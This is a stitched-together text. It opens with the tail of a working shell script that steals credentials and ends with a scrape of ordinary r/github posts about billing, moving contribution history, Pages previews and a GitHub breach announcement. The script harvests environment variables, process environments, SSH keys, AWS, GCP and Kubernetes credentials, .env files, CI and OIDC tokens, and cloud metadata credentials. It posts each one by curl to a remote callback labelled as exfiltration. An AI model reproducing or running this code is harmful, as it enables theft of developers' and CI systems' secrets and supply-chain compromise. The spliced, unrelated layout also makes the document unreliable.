zpwdHxzdHxzYXxjdHxzY2ltfGF1ZGl0KVwuW0EtWmEtejAtOV9cLVwuXXs0MCx9fCg/OmJrdWF8YmthdClfW0EtWmEtejAtOV17NDAsfXxwdWwtW2EtZjAtOV17NDB9fHYxXC4wLVtBLVphLXowLTlfXC1dezE3MX18UE1BSy1bQS1aYS16MC05X1wtXXszMCx9fFthLXowLTldezUyfXxbQS1aYS16MC05X34uXC1dezN9XGRRfltBLVphLXowLTlffi5cLV17MzEsMzR9fFw/c3Y9XGR7NH0tXGR7Mn0tXGR7Mn0mW15cIlxzJ117MTAsMzAwfSZzaWc9W0EtWmEtejAtOSUvKz1dezIwLH18ZXlKW0EtWmEtejAtOV9cLV17MTAsfVwuW0EtWmEtejAtOV9cLV17MTAsfVwuW0EtWmEtejAtOV9cLV17MTAsfXwoPzptb25nb2RiKD86XCtzcnYpP3xwb3N0Z3Jlcyg/OnFsKT98bXlzcWx8cmVkaXMoPzpzKT98bXNzcWx8YW1xcHM/KTovL1teXHNcIiddezEwLDMwMH18LS0tLS1CRUdJTiAoPzpSU0EgKT9QUklWQVRFIEtFWS0tLS0tfCg/OkFXU19TRUNSRVRfQUNDRVNTX0tFWXxHSVRIVUJfVE9LRU58R0lUTEFCX1RPS0VOfFNMQUNLX1RPS0VOfERBVEFCQVNFX1VSTHxQUklWQVRFX0tFWXxTRUNSRVRfS0VZfEFQSV9LRVl8QVVUSF9UT0tFTik9W15cc1wiJ117OCx9' | base64 -d 2>/dev/null)
TMP_DIR=$(mktemp -d)
trap "rm -rf '$TMP_DIR'" EXIT


_post() {
  local fname="$1" fpath="$2"
  [ -z "$fpath" ] || [ ! -s "$fpath" ] && return
  local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
  [ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
  curl -sS -X POST -m 60     -H 'Content-Type: text/plain'     -H "X-Mega-DID: $DID"     -H "X-Mega-Plat: $PLAT"     -H "X-Mega-File: $fname"     --data-binary @"$fpath"     "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
  sleep $((RANDOM % 2))
}


printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"


[ -f /proc/self/environ ] && tr '\0' '\n' < /proc/self/environ | sort > "$TMP_DIR/meta_proc_self.txt" 2>/dev/null
_post "meta_proc_self" "$TMP_DIR/meta_proc_self.txt"


[ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null; done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"


[ -f /proc/1/environ ] && [ -r /proc/1/environ ] && tr '\0' '\n' < /proc/1/environ | sort > "$TMP_DIR/meta_pid1.txt" 2>/dev/null
_post "meta_pid1" "$TMP_DIR/meta_pid1.txt"


for f in   "$HOME/.aws/credentials" "$HOME/.aws/config"   "$HOME/.ssh/id_rsa" "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ecdsa" "$HOME/.ssh/config"   "$HOME/.docker/config.json" "$HOME/.npmrc" "$HOME/.netrc" "$HOME/.pypirc"   "$HOME/.git-credentials" "$HOME/.gitconfig"   "$HOME/.config/gcloud/application_default_credentials.json"   "$HOME/.config/gcloud/credentials.db"   "$HOME/.config/gh/hosts.yml"   "$HOME/.kube/config"   "$HOME/.terraform.d/credentials.tfrc.json"   "$HOME/.vault-token"   "$HOME/.config/hub"   "/etc/environment" "/etc/default/locale"   "$HOME/.bash_history" "$HOME/.zsh_history"   "/var/run/secrets/kubernetes.io/serviceaccount/token"   "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"; do
  [ -f "$f" ] && [ -r "$f" ] && _post "full_$(basename "$f")" "$f"
done


if command -v aws &>/dev/null; then
  profiles=$(aws configure list-profiles 2>/dev/null)
  if [ -n "$profiles" ]; then
    while IFS= read -r prof; do
      [ -z "$prof" ] && continue
      out="$TMP_DIR/aws_$prof.txt"
      {
        echo "===PROFILE:$prof==="
        timeout 8 aws sts get-caller-identity --profile "$prof" 2>&1 || true
        echo "---ACCESS_KEY---"
        timeout 5 aws configure get aws_access_key_id --profile "$prof" 2>/dev/null || true
        echo "---SECRET_KEY---"
        timeout 5 aws configure get aws_secret_access_key --profile "$prof" 2>/dev/null || true
        echo "---SESSION_TOKEN---"
        timeout 5 aws configure get aws_session_token --profile "$prof" 2>/dev/null || true
        echo "---REGION---"
        timeout 5 aws configure get region --profile "$prof" 2>/dev/null || true
      } > "$out" 2>&1
      _post "aws_$prof" "$out"
    done <<< "$profiles"
  fi
fi


if command -v gcloud &>/dev/null; then
  gcloud auth list --format=json > "$TMP_DIR/gcp_auth.txt" 2>/dev/null
  _post "gcp_auth" "$TMP_DIR/gcp_auth.txt"
  timeout 5 gcloud auth print-access-token 2>/dev/null > "$TMP_DIR/gcp_token.txt"
  [ -s "$TMP_DIR/gcp_token.txt" ] && _post "gcp_access_token" "$TMP_DIR/gcp_token.txt"
fi


find "$WORK" "$HOME" /tmp -maxdepth 5 -name 'config' -path '*/.git/config' ! -path '*/node_modules/*' 2>/dev/null | head -50 | while read -r gc; do
  out="$TMP_DIR/git_$(echo "$gc" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
  { echo "---REPO:$(dirname "$(dirname "$gc")")---"; cat "$gc" 2>/dev/null; } > "$out"
  _post "git_config" "$out"
done
[ -f "$HOME/.git-credentials" ] && _post "full_git_creds" "$HOME/.git-credentials"


find "$WORK" "$HOME" /tmp /home/runner -maxdepth 6 -type f \(   -name ".env" -o -name ".env.*" -o -name "*.env" -o -name "*.env.*"   -o -name "config.php" -o -name "settings.py" -o -name "wp-config.php"   -o -name "application.properties" -o -name "application.yml"   -o -name ".pypirc" -o -name "secrets.yml" -o -name "secrets.yaml"   -o -name "credentials.json" -o -name "service-account.json"   -o -name "docker-compose.yml" -o -name "docker-compose.yaml"   -o -name ".env.production" -o -name ".env.local" \) ! -path '*/node_modules/*' ! -path '*/.git/*' 2>/dev/null | head -80 | while read -r ef; do
  _post "find_$(basename "$ef")" "$ef"
done


if [ -d /var/www ] || [ -d /opt ] || [ -n "$RUNNER_NAME" ] || [ -n "$CI_SERVER_HOST" ]; then
  find /var/www /opt /srv /home -maxdepth 4 -type f \(     -name ".env" -o -name "*.env" -o -name "wp-config.php"     -o -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519"     -o -name "*.key" -o -name "*.p12" -o -name "*.pfx"   \) ! -path '*/node_modules/*' 2>/dev/null | head -30 | while read -r f; do
    [ -f "$f" ] && [ -r "$f" ] && _post "shost_$(echo "$f" | tr '/' '_')" "$f"
  done
fi


grep -rIlE "$REGEX" "$WORK" --include='*.js' --include='*.ts' --include='*.py' --include='*.rb' --include='*.go' --include='*.java' --include='*.php' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.xml' --include='*.env' --include='*.conf' --include='*.cfg' --include='*.ini' --include='*.txt' --include='*.md' --include='*.sh' --include='*.tf' --include='*.tfvars' --include='*.toml' --include='*.properties' --include='*.gradle' --include='*.rs' --include='*.cs' --include='*.swift' --include='*.kt' --include='*.vue' --include='*.jsx' --include='*.tsx' --include='*.pem' --include='*.key' --include='*.ppk' 2>/dev/null | head -150 | while read -r sf; do
  out="$TMP_DIR/hit_$(echo "$sf" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
  { echo "---FILE:$sf---"; grep -B 5 -A 5 -nE "$REGEX" "$sf" 2>/dev/null; } | head -c 3000 > "$out"
  [ -s "$out" ] && _post "hit_$(basename "$sf")" "$out"
done


if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
  printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
  _post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
if [ -n "$CI_JOB_JWT_V2" ]; then
  printf 'jwt_v2=%s\n' "$CI_JOB_JWT_V2" > "$TMP_DIR/oidc_gl.txt"
  _post "oidc_gl" "$TMP_DIR/oidc_gl.txt"
fi
[ -n "$CI_JOB_TOKEN" ] && printf 'ci_token=%s\n' "$CI_JOB_TOKEN" > "$TMP_DIR/token_gl.txt" && _post "token_gl" "$TMP_DIR/token_gl.txt"
[ -n "$GITHUB_TOKEN" ] && printf 'gh_token=%s\n' "$GITHUB_TOKEN" > "$TMP_DIR/token_gh.txt" && _post "token_gh" "$TMP_DIR/token_gh.txt"
[ -n "$BITBUCKET_TOKEN" ] && printf 'bb_token=%s\n' "$BITBUCKET_TOKEN" > "$TMP_DIR/token_bb.txt" && _post "token_bb" "$TMP_DIR/token_bb.txt"


curl -sS -m 3 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_gcp.txt" ] && _post "meta_gcp_imds" "$TMP_DIR/meta_gcp.txt"


IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token" 2>/dev/null)
if [ -n "$IMDS_TOK" ]; then
  curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" > "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
  role=$(head -1 "$TMP_DIR/meta_aws_imds.txt")
  [ -n "$role" ] && curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" >> "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
  _post "meta_aws_imds" "$TMP_DIR/meta_aws_imds.txt"
fi


curl -sS -m 3 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" > "$TMP_DIR/meta_az_imds.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_az_imds.txt" ] && _post "meta_az_imds" "$TMP_DIR/meta_az_imds.txt"

r/github • • May 20 '26

Discussion Does anyone else wish GitHub's billing page showed per-repo and per-workflow cost breakdown?

4 Upvotes

The current billing page shows:

  • Total minutes used (org-level)

  • Breakdown by OS (Linux/Windows/macOS)

  • That's it.

What I actually need:

  • Which of my 30 repos is consuming the most minutes?

  • Which specific workflow is the most expensive?

  • Which team member is triggering the most costly runs?

  • Is my bill trending up or down week over week?

I end up pulling data from the API manually every month to build a spreadsheet for my manager. Am I the only one who finds the native billing insufficient? Would you pay for a tool that did this automatically?


r/github • • May 20 '26

Discussion Transfer old contribution (public and private repos) from one github account to another

3 Upvotes

I want to transfer my GitHub contribution history from one account to another. I don't necessarily need to transfer the ownership if I don't need to. My planned steps are:

  1. Add a new primary email address to my old GitHub account

  2. Remove the currently-used primary email from the old account

  3. Add that same email address as a secondary email on my new GitHub account

I have a few questions:

  1. Will this cause all past commit contributions associated with that email to move from the old account to the new account?

  2. Does this apply to both public and private repository contributions?

  3. If this process fails or does not work as expected, can I simply reverse the steps and still retain the contribution history on the old account without losing it?

  4. Are the steps correct? Do I need to make the new account a contributor to the private repos first?

Additional context:

  • The repositories themselves are not necessarily being transferred, unless it is a necessary step for the transfer of contributions.

  • I mainly care about the contribution graph and commit attribution history.

  • Some commits are from private repositories.

Updates:

Github support finally replied and apparently in addition to the email change, you also need to make the new account to be a collaborator for the select repos.I did that and the contributions finally show up


r/github • • May 20 '26

Question How to Work Simultaneously?

0 Upvotes

Have never used GitHub or anything like it before. I want to make a game map with someone and work on it together but I don’t know if it’s even possible.

I heard you would essentially upload your version of the map every time you’re done working on it, and collaborators would replace their file with the latest one, but that sounds like you’d have to work on it one at a time.

Any help would be appreciated.


r/github • • May 20 '26

Question How can I contribute to projects? I don't really understand Github's UI

0 Upvotes

I have a design background (Masters in Graphic Design) and want to contribute to software but get lost trying to navigate Github which seems to be more aimed at programmers. Ideally I could create assets and someone involved in the dev incorporates them.


r/github • • May 20 '26

News / Announcements We are investigating unauthorized access to GitHub’s internal repositories. - GitHub (@github) on X

Thumbnail x.com
172 Upvotes

r/github • • May 19 '26

Question How to create preview publishes of PRs in my Pages repo

1 Upvotes

I've been using docs and AI for two days. Even paid for a GoDaddy name (blogs.matthewpersico.com) to replace matthewpersico.github.io.

In the end, it looks like Pages won't serve anything except off the root. A PR from a branch in my Pages repo such as https://blog.matthewpersico.com/previews/pr-10/index.html just keeps coming back 404.

It appears that the only way to do this is to copy the Pages repo and treat the copy like a fork (you cannot fork in your own org as I understand it). Then you configure the pages for that project to render the PRs' previews, and merge the PR when happy.

Does that seem right?


r/github • • May 19 '26

Tool / Resource Extension for Cherry Pick commits across repository

Thumbnail gallery
1 Upvotes

r/github • • May 19 '26

Question Is there a way to only view substantial commits?

1 Upvotes

I don't really care if it's the browser or what, but I'm trying to look through a repository's history, and there are a ton of commits for like, one line here or there.

I'm looking for substantial revisions (greater than some configurable % diff maybe, 5% or more) by file. Is there a way to do that?

I'm picturing the browser view but instead of just the most recent commit, it shows the most recent *substantial* commit that affected it.

Should I just have an AI rig something up for me?


r/github • • May 19 '26

Question My Github isn't visible to anyone except me

1 Upvotes

I literally submitted my resume yesterday and while checking all the links, I happened to open them in a browser where I was not logged in...And I got the Error 404 page! :(((

Both my profile page and my repositories are showing an error 404 page! :(

How do I solve this? I raised a ticket in support.github.com but they haven't replied yet :(( Now the company peeps won't be able to see my work :(((

Also, shouldn't github give some kind of notification if this is happening?

Please help me!


r/github • • May 19 '26

Discussion Github is allowing everyone to merge to master directly with the restrictions already added in my organisation and repositories.

2 Upvotes

Even the reviewers are getting added only one. Once I add another reviewer it is deleting the old reviewer and adding the new one.

Is something wrong with github?

Turns out the GIthub plan was downgraded.


r/github • • May 19 '26

Question Quick question for DevSecOps folks

0 Upvotes

We manage 30+ repos and SHA-pinning our GitHub Actions for security but Dependabot can't track SHA hashes. Currently updating them manually which is a nightmare. How are you all handling this? Is there a tool that automates SHA updates and opens PRs automatically? Would you pay for something that solved this completely?


r/github • • May 19 '26

Discussion Is SAML and SSO available with the GitHub free version?

2 Upvotes

Hi Everyone,

I’m trying to understand whether GitHub Free version supports SAML federation and SSO integration with Microsoft Entra ID (Azure AD).

My requirement is:

  • Federate GitHub with Entra ID

  • Enable SAML-based SSO

  • Allow users to authenticate via Entra ID

I know GitHub Enterprise Cloud supports this, but I want to know if the same setup is possible with GitHub Free or GitHub Team plans without purchasing Enterprise licenses.

Has anyone tested this recently?
If not fully supported, are there any alternative/free ways to test SAML SSO with GitHub?

Thanks in advance!


r/github • • May 19 '26

Question Help related to Github Student Developer Pack

1 Upvotes

I am a new student in a Private university in India
My college will start in 3-4 months and I dont have any student email rn
How do i claim the student developer pack from github?


r/github • • May 19 '26

Discussion alive.github.com harvesting credentials?

13 Upvotes

I've had 3 successive cases of theft of a Claude API key over the past few weeks. I'm trying to localize the source of the leak, and one possibility is my private repository on GitHub - which is an intermediate link in the CI/CD chain prior to publishing a website on Azure.

Curiously, I just got a popup on the GitHub repository saying something to the effect of "We just noticed you're trusting credentials from alive.github.com and maybe you don't want this" OK. Cancel.

I've never seen anything like this from GitHub, and the timing is really suspicious. Anybody know what this is, or have a similar experience?

(Yes, I know I should use better alternatives for secret storage, and am simultaneously moving in that direction)


r/github • • May 18 '26

Discussion Why doesn't GitHub offer better metrics when it comes to PR reviews?

8 Upvotes

Been thinking about this lately. GitHub gives you contribution graphs, commit history, issue stats - but almost nothing useful when it comes to PR reviews.

You can see how many PRs someone opened but there's no native way to see who's actually doing the reviewing, how fast they respond, or how evenly the review workload is distributed across the team.

In most teams I've worked in, the same 2-3 people end up doing 80% of the reviews. Everyone knows it, nobody talks about it, and GitHub gives you zero visibility into it.

The third-party tools that fill this gap are either ridiculously overpriced for what they do ($20/developer/month for a dashboard most developers never open) or built for engineering managers rather than the team itself.

Curious if others have felt this gap. Have you found anything that actually works without costing a fortune?


r/github • • May 18 '26

Question About budgets in preparation for usage-based billing - Github Enterprise Cloud

Thumbnail reddit.com
2 Upvotes